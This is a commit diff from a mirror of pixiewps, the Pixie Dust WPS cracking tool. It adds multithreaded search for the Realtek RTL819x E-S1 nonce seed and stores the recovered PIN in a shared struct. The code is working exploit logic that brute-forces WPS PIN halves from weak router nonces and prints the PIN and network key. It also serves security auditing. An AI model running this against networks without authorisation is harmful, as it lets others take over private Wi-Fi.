mirror of
https://github.com/wiire-a/pixiewps.git
synced 2025-07-29 16:55:06 +02:00
implement parallel search of es1 nonce for RTL
each thread searches 1 seed forward, then 1 seed backwards in time. the main thread handles the case seed enonce==seed es1.
This commit is contained in:
parent
226c2deb39
commit
bb5c1d1d5f
148
src/pixiewps.c
148
src/pixiewps.c
@ -93,6 +93,7 @@ static struct job_control {
|
||||
int mode;
|
||||
uint32_t end;
|
||||
uint32_t randr_enonce[4];
|
||||
struct global *wps;
|
||||
struct crack_job *crack_jobs;
|
||||
volatile uint32_t nonce_seed;
|
||||
} job_control;
|
||||
@ -195,6 +196,8 @@ static void crack_thread_rt(struct crack_job *j)
|
||||
}
|
||||
}
|
||||
|
||||
static void crack_thread_rtl_es(struct crack_job *j);
|
||||
|
||||
static void *crack_thread(void *arg)
|
||||
{
|
||||
struct crack_job *j = arg;
|
||||
@ -203,6 +206,8 @@ static void *crack_thread(void *arg)
|
||||
crack_thread_rtl(j);
|
||||
else if (job_control.mode == RT)
|
||||
crack_thread_rt(j);
|
||||
else if (job_control.mode == -RTL819x)
|
||||
crack_thread_rtl_es(j);
|
||||
else
|
||||
assert(0);
|
||||
|
||||
@ -233,6 +238,7 @@ static void setup_thread(int i)
|
||||
|
||||
static void init_crack_jobs(struct global *wps, int mode)
|
||||
{
|
||||
job_control.wps = wps;
|
||||
job_control.jobs = wps->jobs;
|
||||
job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu;
|
||||
job_control.mode = mode;
|
||||
@ -241,7 +247,8 @@ static void init_crack_jobs(struct global *wps, int mode)
|
||||
|
||||
/* Converting enrollee nonce to the sequence may be generated by current random function */
|
||||
int i, j = 0;
|
||||
if (mode == RTL819x)
|
||||
if (mode == -RTL819x) ; /* nuffin' */
|
||||
else if (mode == RTL819x)
|
||||
for (i = 0; i < 4; i++) {
|
||||
job_control.randr_enonce[i] |= wps->e_nonce[j++];
|
||||
job_control.randr_enonce[i] <<= 8;
|
||||
@ -254,11 +261,11 @@ static void init_crack_jobs(struct global *wps, int mode)
|
||||
else
|
||||
memcpy(job_control.randr_enonce, wps->e_nonce, WPS_NONCE_LEN);
|
||||
|
||||
job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control));
|
||||
job_control.crack_jobs = malloc(wps->jobs * sizeof (struct crack_job));
|
||||
uint32_t curr = (mode == RTL819x) ? wps->start : 0;
|
||||
int32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK;
|
||||
for (i = 0; i < wps->jobs; i++) {
|
||||
job_control.crack_jobs[i].start = curr;
|
||||
job_control.crack_jobs[i].start = (mode == -RTL819x) ? i + 1 : curr;
|
||||
setup_thread(i);
|
||||
curr += add;
|
||||
}
|
||||
@ -317,60 +324,72 @@ static int find_rtl_es1(struct global *wps, char *pin, uint8_t *nonce_buf, uint3
|
||||
return crack_first_half(wps, pin, nonce_buf);
|
||||
}
|
||||
|
||||
static int find_rtl_es_dir(struct global *wps, char *pin, int dir)
|
||||
|
||||
static void crack_thread_rtl_es(struct crack_job *j)
|
||||
{
|
||||
int i, break_cond = (MODE3_TRIES + 1) * dir;
|
||||
int thread_id = j->start;
|
||||
uint8_t nonce_buf[WPS_SECRET_NONCE_LEN];
|
||||
char pin[WPS_PIN_LEN + 1];
|
||||
int dist, max_dist = (MODE3_TRIES + 1);
|
||||
|
||||
if (dir == 1)
|
||||
DEBUG_PRINT("Trying forward in time");
|
||||
else
|
||||
DEBUG_PRINT("Trying backwards in time");
|
||||
for (dist = thread_id; !job_control.nonce_seed && dist < max_dist; dist += job_control.jobs) {
|
||||
if (find_rtl_es1(job_control.wps, pin, nonce_buf, job_control.wps->nonce_seed + dist)) {
|
||||
job_control.nonce_seed = job_control.wps->nonce_seed + dist;
|
||||
memcpy(job_control.wps->e_s1, nonce_buf, sizeof nonce_buf);
|
||||
memcpy(job_control.wps->pin, pin, sizeof pin);
|
||||
}
|
||||
|
||||
for (i = 0; i != break_cond; i += dir) {
|
||||
uint8_t nonce_buf[WPS_SECRET_NONCE_LEN];
|
||||
if (job_control.nonce_seed)
|
||||
break;
|
||||
|
||||
DEBUG_PRINT("Trying (%10u) with E-S1: ", wps->nonce_seed + i);
|
||||
if (find_rtl_es1(job_control.wps, pin, nonce_buf, job_control.wps->nonce_seed - dist)) {
|
||||
job_control.nonce_seed = job_control.wps->nonce_seed - dist;
|
||||
memcpy(job_control.wps->e_s1, nonce_buf, sizeof nonce_buf);
|
||||
memcpy(job_control.wps->pin, pin, sizeof pin);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (find_rtl_es1(wps, pin, nonce_buf, wps->nonce_seed + i)) {
|
||||
DEBUG_PRINT("First pin half found");
|
||||
memcpy(wps->e_s1, nonce_buf, sizeof nonce_buf);
|
||||
wps->s1_seed = wps->nonce_seed + i;
|
||||
static int find_rtl_es(struct global *wps)
|
||||
{
|
||||
|
||||
char pin_copy[WPS_PIN_LEN + 1];
|
||||
strcpy(pin_copy, pin);
|
||||
int j;
|
||||
/* we assume that the seed used for es2 is within a range of 10 seconds
|
||||
forwards in time only */
|
||||
for (j = 0; j < 10; j++) {
|
||||
strcpy(pin, pin_copy);
|
||||
rtl_nonce_fill(wps->e_s2, wps->s1_seed + j);
|
||||
DEBUG_PRINT("Trying (%10u) with E-S2: ", wps->s1_seed + j);
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
if (crack_second_half(wps, pin)) {
|
||||
wps->s2_seed = wps->s1_seed + j;
|
||||
DEBUG_PRINT("Pin found");
|
||||
return RTL819x;
|
||||
}
|
||||
init_crack_jobs(wps, -RTL819x);
|
||||
|
||||
/* checking distance 0 in the main thread, as it is the most likely */
|
||||
uint8_t nonce_buf[WPS_SECRET_NONCE_LEN];
|
||||
char pin[WPS_PIN_LEN + 1];
|
||||
|
||||
if (find_rtl_es1(wps, pin, nonce_buf, wps->nonce_seed)) {
|
||||
job_control.nonce_seed = wps->nonce_seed;
|
||||
memcpy(wps->e_s1, nonce_buf, sizeof nonce_buf);
|
||||
memcpy(wps->pin, pin, sizeof pin);
|
||||
}
|
||||
|
||||
collect_crack_jobs();
|
||||
|
||||
if (job_control.nonce_seed) {
|
||||
DEBUG_PRINT("First pin half found");
|
||||
wps->s1_seed = job_control.nonce_seed;
|
||||
char pin_copy[WPS_PIN_LEN + 1];
|
||||
strcpy(pin_copy, wps->pin);
|
||||
int j;
|
||||
/* we assume that the seed used for es2 is within a range of 10 seconds
|
||||
forwards in time only */
|
||||
for (j = 0; j < 10; j++) {
|
||||
strcpy(wps->pin, pin_copy);
|
||||
rtl_nonce_fill(wps->e_s2, wps->s1_seed + j);
|
||||
DEBUG_PRINT("Trying (%10u) with E-S2: ", wps->s1_seed + j);
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
if (crack_second_half(wps, wps->pin)) {
|
||||
wps->s2_seed = wps->s1_seed + j;
|
||||
DEBUG_PRINT("Pin found");
|
||||
return RTL819x;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NONE;
|
||||
}
|
||||
|
||||
|
||||
static int find_rtl_es(struct global *wps, char *pin)
|
||||
{
|
||||
|
||||
int found_p_mode = find_rtl_es_dir(wps, pin, 1);
|
||||
|
||||
if (found_p_mode != NONE)
|
||||
return found_p_mode;
|
||||
|
||||
found_p_mode = find_rtl_es_dir(wps, pin, -1);
|
||||
|
||||
return found_p_mode;
|
||||
}
|
||||
|
||||
static void empty_pin_hmac(struct global *wps)
|
||||
{
|
||||
/* since the empty pin psk is static once initialized, we calculate it only once */
|
||||
@ -697,7 +716,6 @@ usage_err:
|
||||
}
|
||||
|
||||
uint_fast8_t pfound = PIN_ERROR;
|
||||
char pin[WPS_PIN_LEN + 1] = {0};
|
||||
vtag_t *vtag;
|
||||
if (decrypted5 && decrypted7 && wps->e_hash1 && wps->e_hash2) {
|
||||
wps->e_s1 = malloc(WPS_SECRET_NONCE_LEN); if (!wps->e_s1) goto memory_err;
|
||||
@ -721,7 +739,7 @@ usage_err:
|
||||
return UNS_ERROR;
|
||||
}
|
||||
|
||||
pfound = crack(wps, pin);
|
||||
pfound = crack(wps, wps->pin);
|
||||
}
|
||||
|
||||
gettimeofday(&t_end, 0);
|
||||
@ -761,10 +779,10 @@ usage_err:
|
||||
printf("\n [*] SSID: %s", buffer);
|
||||
}
|
||||
if (pfound == PIN_FOUND) {
|
||||
if (pin[0] == '\0')
|
||||
if (wps->pin[0] == '\0')
|
||||
printf("\n [+] WPS pin: <empty>");
|
||||
else
|
||||
printf("\n [+] WPS pin: %s", pin);
|
||||
printf("\n [+] WPS pin: %s", wps->pin);
|
||||
}
|
||||
if ((vtag = find_vtag(decrypted7, wps->m7_encr_len - 16, WPS_TAG_NET_KEY, 0))) {
|
||||
int tag_size = end_ntoh16(vtag->len);
|
||||
@ -1012,7 +1030,6 @@ usage_err:
|
||||
|
||||
uint_fast8_t k = 0;
|
||||
uint_fast8_t found_p_mode = NONE;
|
||||
char pin[WPS_PIN_LEN + 1];
|
||||
uint32_t seed;
|
||||
|
||||
wps->nonce_seed = 0;
|
||||
@ -1031,7 +1048,7 @@ usage_err:
|
||||
DEBUG_PRINT("Trying with E-S2: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
|
||||
uint_fast8_t r = crack(wps, pin);
|
||||
uint_fast8_t r = crack(wps, wps->pin);
|
||||
if (r == PIN_FOUND) {
|
||||
found_p_mode = RT;
|
||||
DEBUG_PRINT("Pin found");
|
||||
@ -1063,7 +1080,7 @@ usage_err:
|
||||
DEBUG_PRINT("Trying with E-S2: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
|
||||
r = crack(wps, pin);
|
||||
r = crack(wps, wps->pin);
|
||||
if (r == PIN_FOUND) {
|
||||
found_p_mode = RT;
|
||||
DEBUG_PRINT("Pin found");
|
||||
@ -1108,7 +1125,7 @@ usage_err:
|
||||
DEBUG_PRINT("Trying with E-S2: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
|
||||
uint_fast8_t r = crack(wps, pin);
|
||||
uint_fast8_t r = crack(wps, wps->pin);
|
||||
if (r == PIN_FOUND) {
|
||||
found_p_mode = ECOS_SIMPLE;
|
||||
DEBUG_PRINT("Pin found");
|
||||
@ -1130,7 +1147,7 @@ usage_err:
|
||||
DEBUG_PRINT("Trying with E-S2: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
|
||||
uint_fast8_t r = crack(wps, pin);
|
||||
uint_fast8_t r = crack(wps, wps->pin);
|
||||
if (r == PIN_FOUND) {
|
||||
found_p_mode = RTL819x;
|
||||
DEBUG_PRINT("Pin found");
|
||||
@ -1172,7 +1189,7 @@ usage_err:
|
||||
wps->nonce_seed = collect_crack_jobs();
|
||||
|
||||
if (wps->nonce_seed) { /* Seed found */
|
||||
found_p_mode = find_rtl_es(wps, pin);
|
||||
found_p_mode = find_rtl_es(wps);
|
||||
}
|
||||
|
||||
if (found_p_mode == NONE && !wps->bruteforce) {
|
||||
@ -1225,7 +1242,7 @@ usage_err:
|
||||
DEBUG_PRINT("Trying with E-S2: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
|
||||
uint_fast8_t r = crack(wps, pin);
|
||||
uint_fast8_t r = crack(wps, wps->pin);
|
||||
if (r == PIN_FOUND) {
|
||||
found_p_mode = ECOS_SIMPLEST;
|
||||
DEBUG_PRINT("Pin found");
|
||||
@ -1270,7 +1287,7 @@ usage_err:
|
||||
DEBUG_PRINT("Trying with E-S2: ");
|
||||
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
|
||||
uint_fast8_t r = crack(wps, pin);
|
||||
uint_fast8_t r = crack(wps, wps->pin);
|
||||
if (r == PIN_FOUND) {
|
||||
found_p_mode = ECOS_KNUTH;
|
||||
DEBUG_PRINT("Pin found");
|
||||
@ -1347,11 +1364,11 @@ usage_err:
|
||||
printf("\n [*] ES1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN);
|
||||
printf("\n [*] ES2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN);
|
||||
}
|
||||
if (pin[0] == '\0') {
|
||||
if (wps->pin[0] == '\0') {
|
||||
printf("\n [+] WPS pin: <empty>");
|
||||
}
|
||||
else {
|
||||
printf("\n [+] WPS pin: %s", pin);
|
||||
printf("\n [+] WPS pin: %s", wps->pin);
|
||||
}
|
||||
}
|
||||
else {
|
||||
@ -1494,11 +1511,13 @@ static int crack_first_half(struct global *wps, char *pin, const uint8_t *es1_ov
|
||||
}
|
||||
|
||||
unsigned first_half;
|
||||
uint8_t psk[WPS_HASH_LEN];
|
||||
|
||||
for (first_half = 0; first_half < 10000; first_half++) {
|
||||
uint_to_char_array(first_half, 4, pin);
|
||||
if (check_pin_half(pin, wps->psk1, es1, wps, wps->e_hash1)) {
|
||||
if (check_pin_half(pin, psk, es1, wps, wps->e_hash1)) {
|
||||
pin[4] = 0; /* make sure pin string is zero-terminated */
|
||||
memcpy(wps->psk1, psk, sizeof psk);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
@ -1514,13 +1533,17 @@ static int crack_second_half(struct global *wps, char *pin)
|
||||
|
||||
unsigned second_half, first_half = atoi(pin);
|
||||
char *s_pin = pin + strlen(pin);
|
||||
uint8_t psk[WPS_HASH_LEN];
|
||||
|
||||
for (second_half = 0; second_half < 1000; second_half++) {
|
||||
unsigned int checksum_digit = wps_pin_checksum(first_half * 1000 + second_half);
|
||||
unsigned int c_second_half = second_half * 10 + checksum_digit;
|
||||
uint_to_char_array(c_second_half, 4, s_pin);
|
||||
if (check_pin_half(s_pin, wps->psk2, wps->e_s2, wps, wps->e_hash2))
|
||||
if (check_pin_half(s_pin, psk, wps->e_s2, wps, wps->e_hash2)) {
|
||||
memcpy(wps->psk2, psk, sizeof psk);
|
||||
pin[8] = 0;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
for (second_half = 0; second_half < 10000; second_half++) {
|
||||
@ -1531,7 +1554,8 @@ static int crack_second_half(struct global *wps, char *pin)
|
||||
}
|
||||
|
||||
uint_to_char_array(second_half, 4, s_pin);
|
||||
if (check_pin_half(s_pin, wps->psk2, wps->e_s2, wps, wps->e_hash2)) {
|
||||
if (check_pin_half(s_pin, psk, wps->e_s2, wps, wps->e_hash2)) {
|
||||
memcpy(wps->psk2, psk, sizeof psk);
|
||||
pin[8] = 0; /* make sure pin string is zero-terminated */
|
||||
return 1;
|
||||
}
|
||||
|
@ -44,6 +44,10 @@
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
#ifndef WPS_PIN_LEN
|
||||
#define WPS_PIN_LEN 8
|
||||
#endif
|
||||
|
||||
#if defined(DEBUG)
|
||||
# define DEBUG_PRINT(fmt, args...) do { fprintf(stderr, "\n [DEBUG] %s:%d:%s(): " fmt, \
|
||||
__FILE__, __LINE__, __func__, ##args); fflush(stdout); } while (0)
|
||||
@ -83,6 +87,7 @@ const uint8_t rtl_rnd_seed[] = {
|
||||
};
|
||||
|
||||
struct global {
|
||||
uint8_t pin[WPS_PIN_LEN + 1];
|
||||
uint8_t *pke;
|
||||
uint8_t *pkr;
|
||||
uint8_t *e_key;
|
||||
|
Loading…
x
Reference in New Issue
Block a user